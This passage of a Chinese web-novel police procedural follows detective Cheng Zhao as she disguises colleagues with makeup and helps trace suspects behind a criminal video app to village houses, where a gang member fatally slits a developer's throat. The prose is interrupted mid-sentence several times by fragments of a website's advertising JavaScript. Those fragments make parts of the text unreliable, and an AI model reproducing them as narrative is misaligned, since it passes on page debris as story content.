程昭又拿出修容棒、眼影，混合粉底液，给陈丰调出了合适的色号，然后给他修容。修饰了一下颧骨、鼻头、眉骨、眼窝、下颚线……陈丰看起来精致了很多，大叔气质立刻没有了，反而有了一些少年感。 孙泽林惊叹：“我的天，陈哥，你现在看起来是陈小哥了！看起来好像毕业不久的样子，换一身衣服装学生，也足够用了。” 程昭拿出眼线笔，转了转笔，笑着说：“还没有完呢。” 程昭没有带双眼皮贴，不能给陈丰调整眼皮，只能退而求其次，用眼线和眼影修饰眼睛。眉毛也稍微改了一些眉型，补了眉尾。陈丰的眼睛看起来居然变大了一些，眼尾也向上扬了。 连脖子，程昭也没忘记修饰，涂上了色号合适的粉底液，又修饰了一下线条。 最后，程昭给陈丰定妆，陈丰脸上的妆容看起来十分自然，不认真看都看不出来有化妆。 原本憨厚老成的陈丰，现在看起来年轻了很多，走进校园也不违和，好像体育系的学长。 侯远山惊呼：“鬼斧神工啊！五官好像没有什么大变化，但是简直换了个人一样！” 老刑警乔良自认见多识广，但是这种化妆技术，他也是第一次看到，“简直是传说中的易容术了。” 孙泽林好奇地围着陈丰转了一圈，“居然不同角度，看起来都很自然。不认真看，都看不出来，脸上涂了东西。” 周立言轻笑：“我们队真是捡到宝了。” 陈丰拿小镜子左看看右看看，惊讶得不得了，“我读书时候，都没有这么嫩。看起来像我又不太像我了，太神奇了。” 程昭一边拿湿纸巾擦手，一边解释：“其实你平时注意一下护肤防晒，皮肤好一些，看起来也会年轻一点……另外，你的中庭比较长，颧骨比较高，修饰一下，比例和谐了，就会没有那么重的年龄感了。” 程昭的化妆技术，是上辈子打工学回来的。在教培机构工作的时候，她学了一些绘画原理和技巧。在化妆品公司工作的时候，和柜姐学了化妆的技巧。经过一段时间的练习，她才练出了这样的化妆技术。 陈丰挠挠头：“防晒倒是还好说。但是让我自己化，我也没这个手啊……” 陈丰又照了一遍镜子，美滋滋地说：“不行，我今天要按时下班，给我女神看看我这个样子。” 周立言轻咳一声：“那你要赶紧工作才行，最近的任务比较重。” 众人听到这话，都纷纷叹气，回到座位，继续处理视频平台关联的小案件了。 程昭也和周立言回到座位上，准备继续讨论案件。 周立言若有所思地摸摸下巴，突然倾身靠近，问：“如果你要给我化妆潜入学校附近，你打算怎么给我变装？” 程昭看着周立言突然靠近的帅脸，脑子卡壳了几秒，脸上微微泛红，强装镇定地说：“嗯，周队你假装大学生有违和感，主要是因为你气势太强和长得太好看了……潜入需要低调，所以我的思路就是，把你的样子化得平庸一点，皮肤变黑变粗，眼窝鼻子调整得没有那么立体，然后发型弄乱一点。” 周立言微微一笑：“神探小姐对我的样貌评价这么高吗？” 程昭摸摸鼻子：“实话实说而已……周队是想要我夸你吧？” 周立言眼里带着笑意，轻咳一声，然后正色说：“好了，不逗你了。你的化妆技术在以后肯定大有用处。不过我们现在先回归正题，你刚刚说怀疑大学城附近的居民区，不过你在看嫌疑人文件的时候沉思了很久，是有什么发现吗？” 程昭点点头，打开嫌疑人文件开发者那部分，指出了系统标记的两个人。 程昭说：“我有点怀疑这两个人，方博和张平威。” 周立言问：“为什么怀疑这两个人？” 程昭指着方博的信息，说：“你看，这个方博，他之前欠了巨额网贷，还因为和催收人员冲突而丢了工作，一年前销声匿迹了一段时间，然后就还清了债务。你不觉得，他的经历，和李聪的很相似吗？” 周立言点点头：“确实……所以你是觉得，一年前是个关键的时间点？” 程昭说：“是的，李聪一年前消失，很可能就是被招募去开发这个软件。” 程昭指着张平威的信息：“这个张平威也是一年前消失了。他和李聪都是C市人，又是同行，他们之前有可能就认识了。而且他在传销组织瓦解之后，工作一直不稳定，可能也有财务问题。” 周立言：“嗯，说不定张平威还有一点心理问题……被洗脑之后不能回归正常工作生活，所以频繁换工作。” 程昭：“是的，所以这两个人，我觉得比较可疑。” 周立言微微点头，然后在笔记本上面记下了这两个人的一些信息。 周立言：“这个案件安排了二队和三队一起查，所以我们会定期开个小会，同步信息。今天下午两点应该会开同步会议……” “我们先查一下这几个人，然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后同步会议的时候分享出来。至于实地探查，我们到时候也讨论一下具体方案。” 程昭挠挠头：“我们要怎么查呢？” 周立言微微一笑：“我知道你这方面是新手，我先来带着你查。” 周立言以这两个人作为示范，给程昭演示了他的调查方式。 周立言先查方博人际关系网。登陆警方的内网，查方博的亲属关系网，然后又查方博的学校工作等轨迹，查他的同学朋友同事关系。 然后查方博的经济情况。通过内网的查询功能，查他名下的银行卡、信用卡等账户，车子房子，租赁信息，消费情况。 周立言给程昭演示了内网的一些查询功能，然后说：“现在网络发达，我们很多信息都可以在网络上查找。不过一些信息是没有联网的，这些就要到相应的地方去要资料了。” 程昭一边学习周立言的操作，一边留意查询到的信息。 她留意到，方博的奶奶被系统标注了关联。 程昭：“周队，我可以试一下吗？” 周立言：“当然可以，来。” 周立言让出操作位置，让程昭上手试验。 程昭先查了方博的父母经济情况，他们名下的账号几年前有一些存款，但是在方博被网贷催收的时候，花出去了不少，今年才开始多了一些存款，特别是最近三个月，有几笔大额的进账，转账账户都是来自方博。 这也符合方博之前被查到的信息，最近突然变有钱了，所以也给父母转了账。 程昭然后又查方博的爷爷奶奶，然后发现方博的奶奶名下有个老房子，在大学城附近的城中村。 程昭指着查到的信息，看向周立言：“周队，好像有发现！方博的奶奶有个房子，在大学城附近的城中村。” 周立言马上在笔记本上记下了信息：“做得很好，这个有可能就是他们藏匿的地方……你继续操作，我去拿个电脑来，我们一起查。” 程昭笑着说：“好。” 程昭继续查方博和张平威的信息。 方博的账号在今年有几笔大的进账，转账来源是几个外国的不知名的公司。 周立言看到了，在网上查了一下，发现都是皮包公司。 不过这几个公司也曾给李聪、张平威转过钱，所以李聪、方博、张平威的关联和嫌疑都有了。 为了避免遗漏，程昭和周立言把三个嫌疑人，关系比较密切的几个亲戚朋友的财务情况都查了。 他们发现，嫌疑人的亲戚，之前曾经借给钱给嫌疑人的，在今年都有收到嫌疑人的转账。 另外，张平威的一个叔叔，在大学城附近也租了房子。这个信息也被系统列为关联。 ………… 查了一早上的信息，中午大家一起去了食堂吃饭。 一路上，遇到的熟人都惊疑不定地看向陈丰。 大队长于山刚好也路过，看到陈丰，眼睛瞪得老大：“你是陈丰？你去整容了？” 陈丰幽怨地说：“哪有时间去整容啊，天天加班呢。” 周立言笑着解释：“于队，今天程昭说可以帮陈丰化妆潜入校园，然后露了一手出神入化的化妆技术，把陈丰变年轻了十几岁。” 42. 查探和暗涌 于山惊讶地看向程昭，然后笑着过来和她握手：“你好你好。其实，我之前在办公室外看到过你，不过今天算是第一次正式见面。” 于山中等身型，中等个子，国字脸，看起来就是很传统风格的领导。 程昭笑着说：“于队您好，感谢您对我的信任和支持，把我调到这里来。” 于山笑着摆摆手：“我本来是很多顾虑的，但是你屡次帮忙破案。无论是三队还是二队，对你都十分赞赏。没想到你变妆也这么厉害，这种特殊才能，在我们这边非常有用处！我们真是捡到宝了！” 程昭没想到于山这么看重她的化妆术，被夸得有点不好意思了。 程昭连忙谦虚道：“哪里哪里，就是普通的化妆而已，于队你过奖了。” 于山：“不，我这可不是客套话……你们看陈丰，现在只看他的脸，你们会觉得他是一个警察吗？” 众人看向陈丰，不看他的衣着和手上的茧子，只看脸，确实不太像警察了，看起来就是个体育生。 乔良有点明白于山的意思了，“我好像懂你的意思了，你是说，陈丰的气质不一样了。” 于山笑着点头：“没错，我们在这一行久了，多少都有点这种气质。伪装盯梢的时候，这种气质有时候会暴露我们。但是程昭做的变装，把这种气质掩盖住了，所以非常难得。” ………… 作别于队，一行人吃完饭，回到办公室，稍作休息后继续工作。 很快差不多到开会的时间，大家去了会议室。于山和二队的人刚好也到了。 二队队长孙萍抬头看到陈丰，惊讶得站了起来。她走过来，围着陈丰转了两圈。 孙萍：“你是陈丰？你去整容了？” 陈丰哭笑不得，他今天已经被很多人这样问过了。如果不是他喜欢的人想要看他变装的样子，他早就去洗脸洗掉了。 陈丰挠挠头：“如假包换，是我。没整容，程昭给我变装了。” 孙萍回忆：程昭？不就是之前张同他们推荐的那个交警？她最后选了去三队…… 想起程昭是谁，孙萍不由得扼腕叹息。 孙萍看向三队里面唯一一个女性，笑着过去打招呼：“你好，你就是程昭吧？我是二队队长孙萍。” 程昭笑着说：“你好，我是程昭，初来乍到，请多关照。” 孙萍可惜道：“唉，之前张同、吴白说你很厉害，我也和于队争取过，把你调过来，没想到你最后去了三队。” 程昭挠挠头：“谢谢孙队的赏识。我和三队之前就有合作过几次，所以就选了三队，实在不好意思。” 孙萍摇摇头，半开玩笑地说：“没事……你以后如果想要换个队伍，可以考虑我们这边哦。” 周立言走了过来：“程昭才刚到我们组，孙姐就想要来挖人了？” 孙萍瞪了周立言一眼，笑着说：“你小子下手真快，早知道我就亲自去邀请程昭了。” 于山笑着打圆场：“好了好了，大家都是同事同伴。我们快点步入正题吧。” 这个小会要讲的内容，就是视频平台案的进展。因为关联的小案件太多，需要一一确认案件真实性和嫌疑人身份，二队和三队都分担了一堆案件。 汇报完关联案件的核实情况之后，周立言提出了程昭的推测和两人搜索的发现。 周立言：“……所以我们认为，李聪、方博、张平威很可能就是APP的开发者。他们匿藏地点，有可能就是大学城附近的居民区，他们的亲属在东石村、南石村分别有房产或者租房。不过具体情况需要实地查看，才可以确定。” 于山颔首：“不错，这个发现很有意义。我们尽快安排人，去确认情况吧。不过要注意隐蔽，不能打草惊蛇。我们对幕后黑手的了解太少了，需要尽量找到关联的人。” 众人点头表示理解。 大学城附近的居民区范围较大。东石村和南石村面积不小，而且有一定的距离。想要短时间内查探完，又不想被对方发现，派出的人手不能太少又不能太多。 经过一番讨论，最后决定两队各派两人。 二队派出吴白、刘千峰，两人都是看起来比较年轻，然后行事比较机灵的。 三队派出程昭、周立言。本来周立言太显眼，不太合适，但是程昭可以变装，所以不怕了。 然后技术部再派出一个技术员，跟在车上，用设备查探异常的信号。 居民区白天比较安静，大家不是出去上班就是去上课，他们到处乱逛，有点显眼。 所以出发的时间定在下午五点之后。 出发之前由程昭给大家变装。 计划定好之后，大家就各回各的办公室，继续查案或者做出发准备。 ………… 一个金碧辉煌的娱乐场，某个房间，电脑桌旁边贴了几个便利贴，上面写着几个游戏、游戏账号、密码，其中一个账号写着“神算子147”。 房间里面，一个西装革履的男子，靠坐在沙发上，打着电话。 话筒对面的人：“……最近好像有点不对劲。视频平台的数据有点异常，好像有人绕过了防护措施，抓取了后台的视频数据。” 西装男懒懒地说：“哦？暴露了？” 话筒对面的人：“不好说，用户那边好像没有什么异常情况，推广员也没有遇到奇怪的试探。” 西装男：“还是谨慎一点。这个计划我之前就不太喜欢，太张扬了。” 话筒对面的人：“没办法，老板喜欢这个主意。而且这个计划也给组织挖掘了几个有趣的新人，还找到了几个钱袋子。” 西装男嗤笑一声：“哼，有趣是有趣，但是大多数都太野蛮了。有头脑的，谁会自己上传罪证？” 话筒对面的人奉承了西装男几句，然后问：“那现在这个平台，要继续运营，观望风声吗？” 西装男沉吟，思索一阵，然后说：“反正核心的人参与得不多……先继续运营吧，可以撤走的人先撤走。你盯紧一点，有风吹草动，你就看着办吧。不要留手尾。” 话筒对面的人沉默了一下，说：“现在可以撤的都撤得差不多了，知道内情的就是那个主开发了。其他几个被他招来的，应该什么都不知道。” 西装男：“哦，那个人啊，他太高调了，真搞不懂他为什么非要回老家盖房子……那几个小的，知不知道内情，其实不好说，毕竟都是聪明人。” 话筒对面的人笑着说：“大家都比较谨慎，有你们这些高层盯着呢。” 西装男 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嗤笑一声：“你就是太心软了……反正你看着办吧，我的意见就是，不要留手尾。被条子盯上，就很麻烦了。” 话筒对面的人：“好的，我会看着办的。” ………… 于山考虑到，以后需要程昭化妆的机会可能不少，所以大手一挥，给了程昭一笔经费，散会之后就去把需要用到的工具都买回来。 可以不嚯嚯自己的化妆品，程昭当然十分乐意了。 市局附近就有商场，程昭便体验了一次，在上班时间逛商场的乐趣。 程昭把等下可能要用的化妆品和工具都买了。 有一些比较少见的工具没买到，只能网购，不过那些也不着急用。 只是假装年轻一些，商场买的工具就足够应付了。 ………… 大学城离市局有点距离，而且为了避免堵车，程昭他们没到四点就准备出发了。 出发前，程昭给吴白、刘千峰、周立言分别化了妆。 几个人都不同程度地变得年轻了一些，看起来都是二十多岁的样子。 周立言的样子也变低调了很多，从冷面超模变成了校园小帅哥。 几个人纷纷换了一身比较休闲的衣服，然后就一起开车出发了。 因为技术员张翔要带着设备，所以一行人开了一辆比较不显眼的半旧的面包车。 大家检查了通讯的耳麦正常工作。 技术员张翔把几个好像收音机一样，带着天线的小黑盒，分到他们手里。 技术员张翔：“这个检测器可以检测异常的信号。你们接近服务器的房子的时候，我这边会有反应，到时候我就通知你们。” 众人点头。 到了大学城附近，程昭、周立言在东石村下了车。 刘千峰、吴白带着技术员继续前往南石村。 等到了南石村，吴白等人下车查探。 技术员张翔则留着车子里面，到处开车，检查信号。 时间还没有到五点，但是路上已经有了一些人。 大学课程时间比较宽松。好多学生没有课，就提早出来学校外面觅食。 大学城周边的居民区，开了各式各样的店铺。 有不少房子，下面是商铺，上面是住房。 程昭和周立言假装成出来吃饭、看房子的大学生。 周立言还买了两杯奶茶，两人一边逛一边喝。 两人看似闲逛，其实路线是明确的--先查看方博的奶奶，在东石村的老房子。 方博奶奶的房子，在村子比较里面。城中村的门牌号比较乱，程昭他们怕打草惊蛇，不方便去问路。只能按导航和门牌，一路找过去。 到了方博奶奶的老房子，程昭和周立言在房子周围转了一圈。 这是一栋四层的房子。 外面可以看到，楼上几层的阳台都挂着衣服。应该几层都住着人。 系统显示，这个房子是有关联的。 不过技术员的检测器没反应。 程昭小声和周立言说：“检测器没反应，这个房子，难道是他们住的地方？” 周立言偷偷拿相机拍了几个照片，然后小声说：“不排除这个可能，先观察一下。看看吴白那边有没有什么发现。” 43. 暴露 没多久，吴白他们那边也到了目的地--南石村，张平威叔叔租赁的房子。 周立言对着耳麦小声说：“我们到东石目的地了，你们找到地方没？” 耳麦里面传来了吴白的声音：“我们刚刚到南石目的地。” 周立言：“那边什么情况？” 吴白：“探测器有反应，估计里面有服务器之类的设备。但是有点麻烦。” 程昭：“怎么了？” 吴白：“这个地址名义上是民房，实际上和一个小型写字楼差不多了。一楼入口那里，挂了好几个公司的名字。” 程昭：“……” 周立言：“你们先把上面的公司记下来吧，想办法拍点照片……那边人多吗？” 吴白：“挺多人的，这边好多这样的小型写字楼，还有很多小吃店。这边好像有不少小公司，好多大学生在这边工作实习。” 刘千峰：“幸好我们变年轻了一些，不然还挺显眼的。你们那边什么情况？” 周立言：“我们这边主要是住房。现在路上人不算多，检测器没反应。我们等下到处转转，然后拍点照片，看看有没有熟面孔。” 程昭尽量自然地四处查看，偶尔分心去看一下系统的事件内容有没有更新。 忽然，方博奶奶房子的阳台，有个人出来吸烟。 程昭还没有反应过来，周立言就自然地侧身搂过程昭的肩膀，利用身高差错位，挡住程昭的脸。 楼上的人看下来，看到的就是一对正在接吻的情侣。 程昭看着突然靠近的周立言，脸颊耳朵一下子就红了。 ………… 楼上的人隐约看到楼下女生羞红的脸，心里更无疑惑，转身又返回屋子里了。 屋里的人问：“陈哥，怎么了？” 出过阳台的人--陈哥说：“没什么，听到一些动静，就出去看看。有对情侣经过。” 屋里的人点头说：“这边就是这样的，很多大学生出来住。” 陈哥吸着烟，说：“李聪，平台的防护什么时候才能完成升级？” 屋里的人--李聪：“快了，应该月底就可以上线。” 陈哥呼出一口烟：“太慢了，要加快，尽量月中完成。” 李聪皱眉，欲言又止，最后还是答应了。 陈哥的烟吸完了，掐灭在烟灰缸里，然后说：“程序的备份先给我吧，后台的数据也尽快备份。迟些我们可能会搬一次地址。” 李聪点头，递给陈哥一个U盘：“好的，没问题。这是昨天做好的程序备份。” 陈哥把U盘放进口袋里：“那我先走了，你们最近谨慎低调一点。” 李聪笑着说：“放心吧，陈哥。我们都很低调的，大家都不想丢了这份赚钱的工作。” 陈哥嗤笑一声：“……反正你们小心点。” 到时候丢掉的，可不只是工作……陈哥没把未尽之言说出来，转身离开了。 陈哥到了楼下，还留意了一下，刚刚那对情侣在附近的一家奶茶店喝饮料。 陈哥离开了。 ………… 回到几分钟之前，周立言揽过程昭肩膀，挡住了楼上人的视线。 周立言：“不好意思，冒犯了……” 程昭脸色通红：“……多亏你帮忙掩护，是我反应太慢了。” 周立言：“楼上的人还在吗？” 程昭小心翼翼地望了一眼：“已经走了。” 周立言：“好，我们先去旁边的奶茶店坐坐。” 周立言伸出手臂，程昭轻轻挽住，两人到了斜对面的奶茶店。 周立言点了两杯奶茶，然后和程昭找了个窗边的位置坐下，暗中观察外面的情况。 程昭：“不好意思，我刚刚太大意了，没反应过来。” 周立言：“作为新人，你已经做得挺好了。不过还是要注意一点，不要轻易走神。” 程昭不好意思地点点头。 周立言悄悄对着外面，拍了几个照片。 有个人从楼里走出来，一边走一边四处张望。 周立言悄悄拍了照片，然后靠近程昭假装亲密私语：“有个人出来了，好像是刚刚阳台的人？” 程昭往外瞄了一眼，又查看了一下系统：“没错，就是这个人，我感觉他很可疑。” 超可疑的，这个人关联性比李聪他们都高。很可能就是组织的人。 周立言：“他刚刚出现在二楼，我们想办法进去里面，或者在附近找个高处，看看那边楼上的情况。” 程昭想起奶茶店门口贴着招租启事：“奶茶店楼上似乎在招租，我们假装去看房子？” 周立言微微一愣，然后笑着说：“观察力不错，我都差点忽略了。” 他刚刚其实也有点分心了，因为程昭的靠近…… 周立言去取餐的时候，问老板楼上是不是在招租，能不能上去参观房子。 老板笑着表示自己就是房东，然后叫了一个员工帮忙看店，然后陪他们上楼看房子。 闲置的租房刚好就是二楼的房子，房间阳台对着方博家的房子。 老板带着他们到处参观，程昭找借口引开了老板，周立言趁机去阳台眺望。 没多久，周立言就回来了，和程昭微微点头。 两人和老板说要再看看其他的房子，找借口离开了。 两人走远了一些，周立言说：“李聪就在二楼，但是没看到其他的人。” 程昭：“那现在怎么办？” 现在去捉李聪，可能其他人听到风声就跑了，而且服务器的具体位置还没有确定。 周立言联系二队那边：“我们这边发现李聪了，你们那边有看到其他人吗？服务器位置确认了没？” 吴白：“还没有，我们本来想进写字楼的。但是门卫好严格，没门卡就要出示身份证……我们现在在对面的小吃店坐着，想看看目标人物会不会从楼里出来。” 周立言：“我们现在人有点太少了，车子也不够。本来只是想查看一下附近的情况，没想到真的遇到目标了。我们让于队安排支援吧。” 于山听到他们的汇报，让他们先在原地等待，他安排人手过来支援。 众人：“收到。” ………… 陈哥离开李聪的住处后，慢慢走到马路边，准备去取车。 他的手机突然响了一声，有信息进来了。 手下阿豪：陈哥，视频公司那边的门卫说，今天有两个陌生人想进公司，说忘记带身份证。 陈哥回复：是条子吗？ 手下阿豪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ：应该不是，说看起来很年轻。 陈哥犹豫了，站在原地思考了一会。 最近风吹草动有点太多了，他不敢大意，决定开车过去南石村一趟，反正就是几分钟的车程。 很快，陈哥开车到了南石村里面。 五六点的路面，人有点多了，陈哥不敢开太快。 不经意间，他留意到路边停着一辆面包车。 这辆面包车看起来半新不旧的，好像没有什么特别。但是陈哥看得出，这个车子特殊加固过，车门还有几处修补过的痕迹。这痕迹，有点像子弹留下的形状…… 面包车车窗是打开的，陈哥慢慢经过的时候，往里面看了几眼。车里只有一个戴眼镜的年轻人，但是里面似乎还放着几个带天线的设备…… 看来真的被警察盯上了。 陈哥开车掉头，快速赶回东石村。 路上，他给手下打了个电话：“阿豪，视频公司这边可能暴露了。你安排人过来，处理公司的东西。” 阿豪：“要怎么处理？” 陈哥：“服务器毁掉，人也尽量除掉。” 阿豪：“那我现在立刻过去，放把火。” 陈哥：“小心点，可能已经有人在盯梢了。” 阿豪：“知道了。” 挂掉了阿豪的电话，陈哥迟疑了一下，然后给李聪打了电话。 陈哥：“李聪，视频公司可能被警察盯上了。” 李聪一下子慌了：“怎么会！？” 陈哥：“现在你去小房间的逃生窗口等我，我先带你离开。” 这个房子二楼小房间有个逃生窗口，身手好一点的，可以攀着窗户和水管爬下来一楼。 这个窗户的墙，和隔壁房子靠得很近，在外面观察很难发现。 李聪应是，挂了电话，连忙收拾随身物品和值钱的东西，然后从逃生窗口慢慢爬下去。 程昭和周立言所在的奶茶店，刚好是逃生窗户的背面，所以对正在发生的事情一无所知。 陈哥走小路，从另一个方向快速回到李聪的住所，刚好看到李聪正在爬水管下来。 陈哥：“你动作还挺快的。” 李聪：“我一挂电话就快速准备逃跑了，就是这个墙不好爬。” 陈哥：“没事，你慢慢来。” 李聪刚到地面，陈哥突然拿出一把锋利的匕首，在李聪身后，飞快划破了李聪的喉咙。 李聪捂住喉咙，发出嗬嗬的声响，缓慢地倒在地上，鲜血在他的指间慢慢蔓延开来，最后流到地上。 陈哥担心伤口不够深，弯腰补了两刀，然后又用李聪的衣服擦了擦匕首的血。 “你居然还有时间收拾了包袱啊？我看看有什么东西吧。”陈哥把斜挎包的带子割断，拿走了斜挎包。 因为担心有人在附近盯梢，陈哥不敢久留。他随意蹭模糊了地上的脚印，确认李聪死亡后，快速地走小路离开了。 ………… 程昭莫名地感觉一阵不安。 刚好路上有人遛狗经过，小狗对着方博奶奶房子背面的方向狂吠。 主人一时大意，牵狗绳松了手，小狗跑进了巷子，主人连忙跟着跑了进去。 主人匆忙捉住小狗，看到地上躺着的人，惊慌大叫：“天啊，死人了！” 44. 急变 程昭和周立言听到路人的呼喊，立刻跑了过去。 小巷子只有两人并排那么宽，李聪歪歪地倒在巷子里，脖子被划了两三刀，衣襟和双手都沾着血。 周立言大步向前，摸了一下李聪心脏的位置：“他没心跳了，但是身体还是溫的。事情应该发生不久，凶手可能刚刚离开。” 程昭：“怎么办？他还有救吗？” 周立言：“你在这里联系救护车和其他人，我试一下去追。” 周立言和狗主人出示了证件，借用一下他的狗。 狗主人连忙答应了，把牵引绳递给周立言：“它叫旺财，你想用它去追踪凶手吗？它没受过什么训练。” 周立言接过狗绳：“试试吧，死马当活马医了。我会看好你的小狗的，保障不会让它跑丢或者受伤。” 黄色的小土狗，看到主人把绳子递给周立言，上前闻了他两下。 周立言摸摸旺财的头，看到旺财没反抗，便尝试让它凑过去闻一下李聪。 旺财闻了几下，周立言摸摸它的头，说：“旺财，可以带我去找伤害他的人吗？” 旺财“汪汪”地叫了两声，然后带周立言跑了出去，跑进了一条小路，一人一狗的身影消失在迷宫一样的小路里。 狗主人看着一人一狗消失的方向，惊讶道：“太神奇了，原来我的旺财这么厉害啊……” 程昭也看着他们消失的方向，不过她不像狗主人那样傻傻地站着，她刚刚已经联络完警队，说明了情况，让他们尽快派救护车和警察过来支援。 联系完警队那边，她又连忙联络吴白他们：“吴白，刘千峰，我们这边出事了。刚刚李聪爬窗到屋子外面，被人割喉了。” 吴白、刘千峰大惊，连忙询问程昭怎么回事。 程昭快速说：“我们也不清楚怎么回事。周队试着去找凶手了，我在原地等救护车和支援……你们那边注意点，其他人和服务器可能有危险。” ………… 吴白他们也反应过来了，既然李聪被杀，其他人估计也不安全了。 两人也不管开发公司在哪一层哪一个房间了，先进入办公楼里面再说。 门卫看到他们去而复返，而且来势汹汹的，想拦下他们。 吴白他们出示了刑警证件，要求门卫配合工作。 门卫立刻懵了：“你们是警察？这么年轻？” 刘千峰生气地把证件递到门卫的眼前：“我们伪装了，证件都给你看了！人命关天的大事，你到底配不配合？” 门卫怂了：“配合配合，你们想做什么？” 刘千峰：“你们这里有什么公司？你认不认识一个叫李聪的人？” 门卫挠挠头：“我们只是看门的，和里面那些公司不太熟……” 吴白着急道：“我们直接进去找吧！这栋楼不大，就九层，我们分头行动应该很快找到。” 旁边的另一个年轻一点的门卫脸色有点发白，犹豫地上前问道：“你们真的是警察吗？这个李聪的公司有什么问题吗？” 吴白感觉这个年轻门卫有点古怪：“我们真的是警察，其他人等下就到了。你是不是知道什么事情？” 年轻门卫纠结犹豫了一下，然后咬咬牙，说：“楼上有个公司的老板之前让我帮忙，说如果有陌生人来，就发信息给一个号码。那个老板好像姓李……” 吴白、刘千峰大惊。 年长的门卫生气地说：“你怎么可以这样！” 年轻门卫羞愧难当：“那个老板说，他们公司得罪过人，怕对方找上门来闹事……我看只是提个醒的事，就答应了……” 刘千峰打断年轻门卫的解释，着急地问：“这个公司叫什么？在几楼几室？” 年轻门卫：“辉煌科技，5楼501。我和你们一起去吧。” 吴白等人跑过去按了电梯，焦急地看着电梯数字变化。 刘千峰：“下班时间电梯太慢了。也没几层楼，我爬楼梯上去，你继续等电梯。” 吴白：“好。” ………… 办公楼外，一个骑着摩托车的年轻人，在马路拐角看着办公楼大门。 他脸色微沉，拨通电话：“喂，陈哥？我这边有点麻烦，有两个盯梢的条子进了办公楼里面。我还在办公楼外面。” 陈哥：“果然来不及……我用李聪的手机，叫他们去毁掉服务器了，不知道执行了没。” 阿豪：“我想办法混进去，看看情况？” 陈哥：“小心一点，不要暴露了。警察的后援应该很快就到了。” 阿豪：“明白。” ………… 周立言那边，他带着小黄狗旺财，通过气味追踪离开不久的凶手。 可惜凶手早已通过曲折的小路，逃离了现场。 周立言最后找到的，是一些脚印，几道车辙，一张沾着血迹的纸巾。 周立言在凶手停车的地方四处转了转，发现了路边有几个摄像头。 这些摄像头不知道是居民自己安装的，还是村子里的公共设施。 周立言把摄像头的位置记下，打算回头再去查监控。 周立言联系程昭：“犯人已经走了，只找到一点线索。你那边还好吗？” 程昭：“救护车已经把李聪带走了，医生说抢救成功的机会不大。后援应该也快到了。” 周立言：“好的，我现在回来。” ………… 吴白和刘千峰赶到辉煌科技公司办公室。 方博和张平威正在输入指令，想要删除数据。 不过被两位刑警及时制止了，数据只删掉了一小部分。 吴白把公司这边的情况，同步给了周立言和程昭。 没多久，后援也到场了。 方博和张平威被关押回警局。 辉煌科技被查封了。 鉴证科到场取证，技术部也过来带走了电脑等设备。 这边现场被安排好了，吴白和刘千峰便去找周立言他们汇合。 ………… 救护车把李聪带走后，程昭先等来了周立言。 周立言先把小狗还给狗主人，然后记下了他的姓名、联系方式，先给他录下了证词。 周立言想给狗主人发个红包，以示感谢。但是狗主人拒绝了。 狗主人离开后，周立言拿出拍到的照片和袋子装着的纸巾，和程昭说起他的发现。 周立言：“……路上发现了一些可疑的脚印，还有一个沾血的纸巾。追到马路边的时候，路边已经没有人没有车了。不过那边有些摄像头，希望有拍下有用的东西。” 程昭也和周立言讨论她在巷子里的发现。 程昭指了一下楼上的窗口、水管还有面前的墙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 壁：“我在这里守着现场的时候，看了一下周围的痕迹。李聪应该是从二楼逃生口，顺着水管爬下来的，他刚下来就被人在背后割喉，鲜血喷溅到了水管和墙壁上。” 程昭又指向角落的一个脚印，然后又拿出手机拍下的照片给周立言看：“凶手蹭花了地上的一些痕迹，但是还是有几个脚印留下了。那个鞋印的花纹，和你照片的花纹一样。而且，这种鞋印还出现在这座房子前面的路上……” 周立言：“前面？你是说……” 程昭点头：“嗯，我怀疑是刚刚那个走出阳台的人，离开时候留下的。杀害李聪，很可能就是那个人。” 程昭又继续补充：“死者肩膀的衣服，有一块残缺的血迹，我推测他之前背了一个斜挎包，犯人行凶后把斜挎包带走了。” 程昭嘴上说的是怀疑，但是实际上她已经肯定了。因为这些都是系统检测-她推测-系统确认的结果。 在听到路人大喊“死人了”的时候，系统显示了一个新事件“李聪被袭案”。 程昭观察案发现场之后，系统收集了不少关联信息，很多信息都显示之前看到的那个人，就是犯人。 几分钟后，后援队伍终于来了。 来的人，有三队的侯远山和二队的队长孙萍，还有一些鉴证科的人。 程昭给后面来的人，说了一下现在的情况。 大家都很惊讶，没想到他们出来，短短几个小时，居然发生了这么多事情。 鉴证科的人先去现场和李聪房屋取证。 刑警先留在楼下等候，等取证完毕再进入现场。 侯远山看了看周围，又看了看程昭她们，然后说：“你们不是只是出来查探附近情况，踩点的吗？怎么一下子发生了这么多事情！” 程昭苦笑：“我们本来也是打算等于队派人来盯梢，然后就撤退的，没想到李聪居然突然就被杀了。” 周立言：“可惜李聪被杀的时候，我们没有发现……我们就在屋子的斜前方，都没有留意到任何声响。” 孙萍看了看周围的环境，摇头说：“这边附近有个市场，事发的时候大概六点多，市场的声音也挺吵的。” 没多久，吴白和刘千峰也来这边汇合了。 吴白和刘千峰和大家说了一下，他们那边发生的事。 周立言夸奖道：“幸好你们及时捉住方博和张平威，保住了数据。” 吴白摆摆手：“其实多亏了你们及时提醒，不然真的来不及。” 刘千峰补充：“东西有一小部分已经被删了，技术员在研究能不能恢复。” 吴白又说：“我们遇到一个门卫，他说李聪曾拜托他，如果遇到陌生人来访，都发信息给一个手机号。我们去办公楼的情况，他也曾经发出去。所以，应该就是这样暴露了。” 侯远山很惊讶：“只是因为有陌生人来访，就直接动手，杀人删数据？” 周立言沉吟道：“估计还有一些我们不知道的事情发生了……我们需要联系这两个村子的负责人，让他们帮忙收集附近的监控。” 孙萍点头：“对。还有方博和张平威那边，他们已经被押送回去了。于队先安排了人去审问，希望可以审问出多一些的有用信息。” 程昭：“也希望李聪可以被抢救回来。” 毕竟系统显示，他的状态是濒临死亡，还没有完全死透。 45. 抽丝剥茧 李聪被送到医院，经过一番抢救，最终还是没能抢救回来。 医生叹息：“出血太多，而且他缺氧太久了。” 警局的众人都感觉十分可惜。 程昭很自责，当时他们就在附近，没想到凶案就这样发生在眼皮底下。 不过其他人倒是没有责怪她的意思，反而安慰了她几句。 